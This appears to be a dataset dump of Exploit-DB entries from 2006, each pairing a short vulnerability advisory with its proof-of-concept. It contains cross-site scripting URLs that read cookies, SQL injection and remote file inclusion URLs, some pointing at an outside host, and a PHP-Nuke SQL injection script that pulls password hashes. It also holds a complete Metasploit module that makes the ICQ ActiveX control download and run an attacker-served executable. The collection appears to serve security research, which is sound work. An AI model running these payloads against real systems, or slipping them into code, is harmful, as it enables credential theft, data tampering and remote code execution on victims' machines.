QLWD/code_shield huggingface dataset:
标题: AIOCP 1.3.x - 'cp_dpage.php' Cross-Site Scripting EDB-ID: 28918 CVE: 2006-5830 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20931/info
 
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
 
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_dpage.php?choosed_language=</textarea>'"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/28918
标题: AIOCP 1.3.x - 'cp_forum_view.php' SQL Injection EDB-ID: 28925 CVE: 2006-5829 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20931/info
       
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
       
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_forum_view.php?choosed_language=[sql] URL: https://www.exploit-db.com/exploits/28925
标题: AIOCP 1.3.x - 'cp_forum_view.php' Cross-Site Scripting EDB-ID: 28917 CVE: 2006-5830 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20931/info

All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.

AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_forum_view.php?fmode=top&topid=</textarea>'"><script>alert(document.cookie)</script> 
http://www.example.com/public/code/cp_forum_view.php?fmode=top&topid=53&forid=</textarea>'"><script>alert(document.cookie)</script>
http://www.example.com/public/code/cp_forum_view.php?fmode=top&topid=53&forid=23&catid=</textarea>'"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/28917
标题: AIOCP 1.3.x - 'cp_show_ec_products.php' SQL Injection EDB-ID: 28930 CVE: 2006-5829 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20931/info
           
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
           
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
           
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_show_ec_products.php?product_category_id=[sql] http://www.example.com/public/code/cp_show_ec_products.php?product_category_id=[sql] http://www.example.com/public/code/cp_show_ec_products.php?order_field=[sql] URL: https://www.exploit-db.com/exploits/28930
标题: AIOCP 1.3.x - 'cp_users_online.php' Cross-Site Scripting EDB-ID: 28920 CVE: 2006-5830 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20931/info
   
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
   
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_users_online.php?order_field=</textarea>'"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/28920
标题: America Online ICQ 5.1 - ActiveX Control Remote Code Execution EDB-ID: 28916 CVE: 2006-5650 类型: REMOTE 平台: WINDOWS 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20930/info

The America Online ICQ ActiveX Control is prone to a remote code-execution vulnerability. 

An attacker could exploit this issue simply by sending a message to a victim ICQ user. Successful exploits could allow the attacker to execute arbitrary code.

The ICQPhone.SipxPhoneManager ActiveX control with the following CLSID is affected:

54BDE6EC-F42F-4500-AC46-905177444300

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'America Online ICQ ActiveX Control Arbitrary File Download and Execute.',
   'Description'    => %q{
    This module allows remote attackers to download and execute arbitrary files
    on a users system via the DownloadAgent function of the ICQPhone.SipxPhoneManager ActiveX control. 
   },
   'License'        => 'MSF_LICENSE',
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision:$',
   'References'     => 
    [
     [ 'CVE', '2006-5650' ],
     [ 'BID', '20930' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-037/' ],
    ],
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
       [ 'Automatic', { } ],
    ],
   'DisclosureDate' => 'Nov 6, 2006',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
    ], self.class)

 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/PAYLOAD"

  if (request.uri.match(/PAYLOAD/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = Rex::Text.to_win32pe(p.encoded, '') 
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  vname  = rand_text_alpha(rand(100) + 1)
  exe    = rand_text_alpha_upper(rand(5) + 1)

  content = %Q|
 <html>
  <head>
   <script>
    try {
     var #{vname} = new ActiveXObject('ICQPhone.SipxPhoneManager.1');
     #{vname}.DownloadAgent("#{payload_url}/#{exe}.exe");
    } catch( e ) { window.location = 'about:blank' ; }
   </script>
  </head>
 </html>
    |

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)
 
  handler(cli)
  
 end
end URL: https://www.exploit-db.com/exploits/28916
标题: AIOCP 1.3.x - 'cp_dpage.php' SQL Injection EDB-ID: 28923 CVE: 2006-5829 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20931/info
     
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
     
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_dpage.php?choosed_language=[sql] URL: https://www.exploit-db.com/exploits/28923
标题: AIOCP 1.3.x - 'cp_newsletter.php' SQL Injection EDB-ID: 28927 CVE: 2006-5829 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20931/info
        
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
        
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
        
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_newsletter.php?nlmsg_nlcatid=[sql]
http://www.example.com/public/code/cp_newsletter.php?choosed_language=[sql] URL: https://www.exploit-db.com/exploits/28927
标题: AIOCP 1.3.x - 'cp_show_ec_products.php' Cross-Site Scripting EDB-ID: 28919 CVE: 2006-5830 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20931/info
  
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
  
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_show_ec_products.php?order_field=</textarea>'"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/28919
标题: Linux Kernel 2.6.x - 'ISO9660' Denial of Service EDB-ID: 28912 CVE: 2006-5757 类型: DOS 平台: LINUX 发布日期: 2006-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/20920/info

The Linux kernel is prone to a local denial-of-service vulnerability. This issue affects the code that handles the ISO9660 filesystem.

An attacker can exploit this issue to crash the affected computer, denying service to legitimate users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28912.iso.bz2 URL: https://www.exploit-db.com/exploits/28912
标题: Sun Solaris 10 - 'UFS' Local Denial of Service EDB-ID: 28911 CVE: 2006-5726 类型: DOS 平台: SOLARIS 发布日期: 2006-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20919/info

Sun Solaris 10 is prone to a local denial-of-service vulnerability. This issue affects the UFS filesystem-handling code.

An attacker can exploit this issue to crash the affected computer, denying service to legitimate users.

Solaris 10 on the ia32/x86 architecture has been reported vulnerable; previous versions may be affected as well, but Symantec has not confirmed this.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28911.img.gz URL: https://www.exploit-db.com/exploits/28911
标题: IF-CMS - 'index.php' Cross-Site Scripting EDB-ID: 28909 CVE: 2006-5761 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/20909/info

IF-CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?rns=[xss] URL: https://www.exploit-db.com/exploits/28909
标题: Xoops 2.0.5 - 'NewList.php' Cross-Site Scripting EDB-ID: 28914 CVE: 2006-5810 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20927/info

Xoops is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/modules/wfdownloads/newlist.php?newdownloadshowdays=[XSS] URL: https://www.exploit-db.com/exploits/28914
标题: ac4p Mobile - 'send.php?cats' Cross-Site Scripting EDB-ID: 28903 CVE: 2006-5770 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/20895/info
   
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
http://www.example.com/path/send.php?cats={XSS} URL: https://www.exploit-db.com/exploits/28903
标题: ac4p Mobile - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28900 CVE: 2006-5770 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/20895/info

Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/path/index.php?Bloks={XSS}
http://www.example.com/path/index.php?Newnews={XSS}
http://www.example.com/path/index.php?lBlok={XSS}
http://www.example.com/path/index.php?foooot={XSS} URL: https://www.exploit-db.com/exploits/28900
标题: ac4p Mobile - 'up.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28904 CVE: 2006-5770 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/20895/info
    
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
http://www.example.com/path/up.php?footer={XSS} URL: https://www.exploit-db.com/exploits/28904
标题: ac4p Mobile - '/cp/index.php?pagenav' Cross-Site Scripting EDB-ID: 28905 CVE: 2006-5770 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/20895/info
     
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
http://www.example.com/path/cp/index.php?pagenav={XSS} URL: https://www.exploit-db.com/exploits/28905
标题: ac4p Mobile - 'polls.php' Multiple Cross-Site Scripting Vulnerabilities (1) EDB-ID: 28902 CVE: 2006-5770 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/20895/info
  
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/path/polls.php?Newnews={XSS} URL: https://www.exploit-db.com/exploits/28902
标题: ac4p Mobile - 'MobileNews.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28901 CVE: 2006-5770 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/20895/info
 
Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/path/MobileNews.php?Newnews={XSS}
http://www.example.com/path/MobileNews.php?newmsgs={XSS}
http://www.example.com/path/MobileNews.php?Bloks={XSS} URL: https://www.exploit-db.com/exploits/28901
标题: @cid Stats 2.3 - 'Install.php3' Remote File Inclusion EDB-ID: 28913 CVE: 2006-5899 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/20925/info

The '@cid stats' program is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.3 is vulnerable to this issue.

http://www.example.com/install.php3?repertoire=ShElL.txt? URL: https://www.exploit-db.com/exploits/28913
标题: NewP News Publishing System 1.0 - 'Class.Database.php' Remote File Inclusion EDB-ID: 28899 CVE: 2006-5838 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/20893/info

NewP News Publishing system is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

NewP version 1.0.0 is vulnerable; other versions may also be affected.

http://www.example.com/newsp/lib/class.Database.php?path=http://www.example2.com/jacked.txt? URL: https://www.exploit-db.com/exploits/28899
标题: Mirapoint Web Mail - 'Expression()' HTML Injection EDB-ID: 28891 CVE: 2006-5712 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/20840/info

Mirapoint Web Mail is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary JavaScript in the victim's browser.

<IMG style="width: expression(alert('expression'));"> URL: https://www.exploit-db.com/exploits/28891
标题: Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service EDB-ID: 28895 CVE: 2006-5701 类型: DOS 平台: LINUX 发布日期: 2006-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/20870/info

The Linux kernel is prone to a local denial-of-service vulnerability. 

An attacker can exploit this issue to crash the affected computer, denying service to legitimate users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28895.img.gz URL: https://www.exploit-db.com/exploits/28895
标题: Outpost Firewall PRO 4.0 - Local Denial of Service EDB-ID: 28894 CVE: 2006-5721 类型: DOS 平台: WINDOWS 发布日期: 2006-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/20860/info

Outpost Firewall PRO is prone to a local denial-of-service vulnerability because the application fails to properly handle unexpected input.

Exploiting this issue allows local attackers to crash affected computers, denying service to legitimate users.

Outpost Firewall PRO 4.0 (964.582.059) is vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28894.zip URL: https://www.exploit-db.com/exploits/28894
标题: Sun Java System 6.x - Messenger Express Cross-Site Scripting EDB-ID: 28887 CVE: 2006-5653 类型: REMOTE 平台: JAVA 发布日期: 2006-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/20832/info

Sun Java System Messenger Express is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Specific information regarding affected versions of Sun Java System Messenger Express is not currently available; this BID will be updated as more information is disclosed.

http://www.example.com/?user=&error=%3Cscript%3Ealert('hakin9');%3C/script%3E</a> URL: https://www.exploit-db.com/exploits/28887
标题: Netquery 4.0 - 'NQUser.php' Cross-Site Scripting EDB-ID: 28889 CVE: 2006-5661 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/20837/info

Netquery is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

GET http://target/netquery/nquser.php HTTP/1.0
User-Agent: <script>alert('User-Agent:')</script> URL: https://www.exploit-db.com/exploits/28889
标题: ECI Telecom B-Focus ADSL2+ Combo332+ Wireless Router - Information Disclosure EDB-ID: 28888 CVE: 2006-5711 类型: REMOTE 平台: HARDWARE 发布日期: 2006-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/20834/info

ECI Telecom's B-FOCuS ADSL2+ Combo332+ wireless router is prone to an information-disclosure vulnerability. The router's Web-Based Management interface fails to authenticate users before providing access to sensitive information.

Exploiting this issue may allow an unauthenticated remote attacker to retrieve sensitive information from the affected device, which may aid in further attacks.

http://www.example.com/html/defs/ URL: https://www.exploit-db.com/exploits/28888
标题: PHP-Nuke 7.x Journal Module - 'search.php' SQL Injection EDB-ID: 28885 CVE: 2006-5720 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/20829/info

The PHP-Nuke Journal module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

PHP-Nuke 7.9 and prior versions are vulnerable.

<?
/*

Neo Security Team - Pseudo-Code Proof of Concept Exploit
http://www.neosecurityteam.net
Paisterist

*/
set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data=""; /* Here the variables, like "bywhat" and "forwhat", with the 
SQL Injection */

if ($fp) {
    /* we put the POST request on $p variable, sending the data saved on 
$data. */

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);

    if ($matches[0])
    print "<b>Hash: </b>".$matches[0];
}
?> URL: https://www.exploit-db.com/exploits/28885